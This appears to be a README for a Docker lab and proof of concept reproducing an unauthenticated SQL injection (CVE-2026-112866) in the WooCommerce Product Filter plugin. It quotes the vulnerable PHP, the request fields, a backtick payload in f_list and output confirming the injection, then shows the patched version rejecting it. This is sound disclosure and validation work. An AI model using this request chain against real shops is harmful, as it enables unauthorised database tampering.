
Proof-of-concept and Docker lab for CVE-2026-112866, an unauthenticated SQL injection in the WooCommerce Product Filter plugin, with vulnerable and patched validation controls.
Security-research material for reproducing and validating CVE-2026-112866:
Product Filter by WBW (woo-product-filter) <= 3.4.6 lets an unauthenticated
caller drive the frontend filter AJAX flow (woobewoo_pf_filters_frontend)
with fully attacker-supplied filter definitions, URL context and - in 3.4.6 -
no nonce. The filter's f_list attribute slug is used raw as a taxonomy,
matched against the attacker-controlled currenturl query string, and the
matched parameter name becomes the temporary-table name postfix, which is
interpolated into DROP/CREATE TEMPORARY TABLE statements without
identifier sanitization.
check_ajax_referer() + sanitize_html_class() +
resolve_filter_taxonomy() - a ^[A-Za-z0-9_.%\-]{1,200}$ whitelist that
rejects the payload before any SQL is built - plus createTemporaryTable()
hardening)createTemporaryTable() - DROP/CREATE TEMPORARY TABLE \wpf_temp_table_` raw identifier interpolation (modules/woofilters/class-woobewoo-pf-woofilters.php:3725/3730` in 3.4.6)Use only on systems you own or are explicitly authorized to test. The PoC is a structural oracle (the filter response's
existsmember flips between a JSON object and a broken JSON array with only the injected backtick). No data extracted, no persistent changes - only ephemeral TEMPORARY tables inside the request.
Status: proven in the supplied lab.
woo-product-filter 3.4.6 (WordPress 7.1.2, WooCommerce 11.2.1, nopriv AJAX):
f_list "pa_color" : filter_state.exists = {"pa_color": {term ids: counts}}
(benign control: endpoint fully functional, terms counted)
f_list "color`" : filter_state.exists = [] (JSON empty array)
(DROP TEMPORARY TABLE `wpf_temp_table_wpf_filter_color``
- the injected backtick closes the identifier early and
alters the executed DDL; the follow-up SELECT then runs
against an empty table name)
3.4.7 with the public nonce: benign pa_color still works (exists object),
backtick payload rejected by resolve_filter_taxonomy
(oracle silent)
The flip between object and array with only the injected character proves the payload reaches SQL execution as a table identifier. The PoC does not demonstrate data extraction beyond the structural oracle (extending the injected identifier into full statement injection is the same sink and is deliberately left out).
The gate that is missing in 3.4.6. The frontend endpoint is registered on
wp_ajax_nopriv_ with WPF_GUEST permissions and no nonce:
// classes/class-woobewoo-pf-frame.php:388, 3.4.6
$noprivActions = array( 'woobewoo_pf_filters_frontend', 'saveStatistics' );
// 3.4.7 adds, modules/woofilters/class-woobewoo-pf-woofilters-controller.php:361
check_ajax_referer( 'woobewoo_pf_filter_action', 'woobewoo_pf_filter_nonce' );
The input chain. getFilterTaxonomies() takes the filter block's
attribute slug from the request JSON and, for a non-numeric slug, leaves it
raw in 3.4.6:
// modules/woofilters/class-woobewoo-pf-woofilters.php:3505, 3.4.6
$slug = $filter['settings']['f_list'];
$taxonomy = ( is_numeric( $slug ) )
? wc_attribute_taxonomy_name_by_id( (int) $slug )
: WooBeWoo_PF_Dispatcher::applyFilters( 'getCustomAttributeName', $slug, $filter );
// free version: no getCustomAttributeName subscriber -> $taxonomy = raw f_list
// 3.4.7 replaces both call sites with resolve_filter_taxonomy()
private function resolve_filter_taxonomy( $slug, $filter ) {
...
if ( taxonomy_exists( $taxonomy ) ||
preg_match( '/^[A-Za-z0-9_.%\-]{1,200}$/', $taxonomy ) ) {
return $taxonomy;
}
return '';
}
The URL-pattern hop. checkGetNames() builds the URL-parameter pattern
from the raw taxonomy and matches it against the query string the client
supplied in currenturl; the matched parameter NAME becomes a calculation
mode key (addToArgsForLogicAnd()/removeFromArgsForLogicOr(): $calc[$param]):
// class-woobewoo-pf-woofilters.php:3647, 3.4.6
$pattern = 'wpf_filter_' . preg_replace( '/^pa_/', '', $taxonomy );
...
preg_match( '/^' . $pattern . '$/', $param, $matches );
The sink. getFilterExistsItems() passes the mode as $postfix to
createTemporaryTable(), which interpolates the raw string into the DDL -
the sanitized sanitizeIdentifier() result is computed but never used
inside the statement:
// class-woobewoo-pf-woofilters.php:3694-3733, 3.4.6
public function createTemporaryTable( $table, $sql, $postfix = '' ) {
if ( '' !== $postfix ) {
$table .= '_' . str_replace( '-', '_', trim( $postfix ) );
}
$resultTable = WooBeWoo_PF_Db::sanitizeIdentifier( $table ); // computed only
...
if ( ! WooBeWoo_PF_Db::query( "DROP TEMPORARY TABLE IF EXISTS `{$table}`" ) ) {
return false;
}
if ( WooBeWoo_PF_Db::query( "CREATE TEMPORARY TABLE IF NOT EXISTS `{$table}` (index my_pkey (id)) AS {$sql}", true ) === false ) {
A backtick inside f_list therefore closes the identifier early and alters
the executed DDL. 3.4.7 kills the chain upstream (whitelist rejects the
payload) and additionally hardens createTemporaryTable() (final
ORDER BY/LIMIT regex stripping, trailing-semicolon removal, empty-identifier
bail, empty-table guards at every call site).
/wp-admin/admin-ajax.php with
action=woobewoo_pf_filters_frontend, reqType=ajax, pl=wpf,
mod=woofilters, a generalSettings JSON array carrying the
wpfAttribute filter with the payload in settings.f_list, and a
currenturl whose query string contains the matching parameter
(wpf_filter_<payload>=1). In 3.4.6 no nonce field exists anywhere.checkGetNames() matches the URL parameter against the
wpf_filter_<payload> pattern; the parameter name becomes the temp-table
postfix.createTemporaryTable() executes
DROP TEMPORARY TABLE IF EXISTS \wpf_temp_table_`` with the
raw payload - the injected backtick alters the DDL.filter_state.exists member is the oracle: object (benign)
vs empty array (injection payload).Requirements: Docker with Compose v2, Python 3.10+ on the host.
./lab verify
Builds the 3.4.6 lab, requires the oracle to fire, then builds the 3.4.7 lab
and requires it silent (the PoC scrapes the public nonce from the lab filter
page there, exercising the full legitimate path). Remove everything with
./lab reset.
Vulnerable control:
[*] benign attribute (pa_color) : exists=object, 2 term(s)
[*] injected f_list (color`) : exists=array
[!!!] SQL INJECTION CONFIRMED
chain : nopriv woobewoo_pf_filters_frontend (no nonce in <= 3.4.6)
-> f_list raw taxonomy -> checkGetNames URL-pattern match
-> mode key -> createTemporaryTable postfix
sink : DROP/CREATE TEMPORARY TABLE `wpf_temp_table_<payload>`
raw identifier interpolation (sanitizeIdentifier result
never used inside the DDL)
oracle : filter_state.exists flips object -> array with only the
injected backtick (DDL structure altered by the payload)
RESULT: VULNERABLE CONTROL CONFIRMED
Patched control:
[*] nonce obtained from the lab filter page (patched gate active)
[*] benign attribute (pa_color) : exists=object, 2 term(s)
[*] injected f_list (color`) : exists=other
[=] oracle silent. ...
RESULT: PATCHED CONTROL CONFIRMED